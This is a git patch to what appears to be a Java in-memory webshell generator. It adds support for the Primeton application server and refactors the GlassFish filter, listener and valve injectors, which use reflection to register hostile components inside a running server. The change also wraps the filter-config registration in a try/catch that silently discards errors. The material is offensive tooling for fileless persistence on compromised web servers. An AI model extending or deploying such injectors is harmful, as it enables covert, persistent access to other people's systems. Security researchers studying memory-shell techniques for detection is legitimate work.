From ceb19d2dae82263b89964e3a10d3cc7c52df4624 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 8 May 2025 01:43:38 +0800 Subject: [PATCH] feat: support Primeton App Server --- .../com/reajason/javaweb/memshell/Server.java | 5 +++++ .../glassfish/GlassFishFilterInjector.java | 19 ++++++++++--------- .../glassfish/GlassFishListenerInjector.java | 4 +--- .../glassfish/GlassFishValveInjector.java | 4 +--- 4 files changed, 17 insertions(+), 15 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index c9717e43..0d69d7bf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -131,6 +131,11 @@ public enum Server { */ InforSuite(new InforSuiteShell()), + /** + * 普元中间件 + */ + Primeton(new GlassFishShell()), + /** * XXL-JOB */ diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index 69550c95..31510323 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -53,9 +53,7 @@ public class GlassFishFilterInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } @@ -99,12 +97,15 @@ public class GlassFishFilterInjector { invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); } - Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - constructors[0].setAccessible(true); - Object filterConfig = constructors[0].newInstance(context, filterDef); - HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterName, filterConfig); - log.info("filter added successfully"); + try { + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + log.info("filter added successfully"); + } catch (Exception ignored) { + } } @SuppressWarnings("all") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java index 1a767941..662c06da 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java @@ -50,9 +50,7 @@ public class GlassFishListenerInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index 0aa0c28b..43c93454 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -46,9 +46,7 @@ public class GlassFishValveInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } }